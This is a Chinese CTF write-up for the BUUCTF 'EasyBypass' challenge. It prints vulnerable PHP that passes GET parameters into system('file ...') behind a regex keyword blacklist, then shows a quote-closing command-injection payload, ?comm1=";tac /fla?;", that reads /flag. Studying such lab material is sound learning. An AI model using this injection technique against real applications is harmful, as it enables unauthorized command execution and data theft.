buuctf EasyBypass --不会编程的崽

buu后边的题有些确实难,有些其实也没那么复杂。昨天做一道异或绕过的题,现在还没看懂QAQ

先来一题简单的吧。哎,随缘更新吧

<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

代码很简单过滤一些符号与关键字。但是最后system执行的是file命令。file命令作用大致是查看文件类型。首先可考虑到命令连接符。这里应该就是";"

可以传入两个参数,因为俩参数都会连接上双引号,先要进行双引号闭合。这样一看似乎第二个参数就不需要了

$cmd = "file $comm1 $comm2";
--输入a,b-->
$cmd = " file "a" "b" ";
--输入"a","b"-->
$cmd = " file ""a"" ""b"" ";
--将a替换为;tac /fla?;-->
$cmd = " file "";tac /fla?;"" ""b"" ";
--丢弃b参数也可以-->
$cmd = " file "";tac /fla?;"" "" ";

千万不能少了后边的双引号与分号,要闭合完整,才能执行恶意命令
最后的payload很简单了
?comm1=";tac%20/fla?;"

还挺简单的

  • 14
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值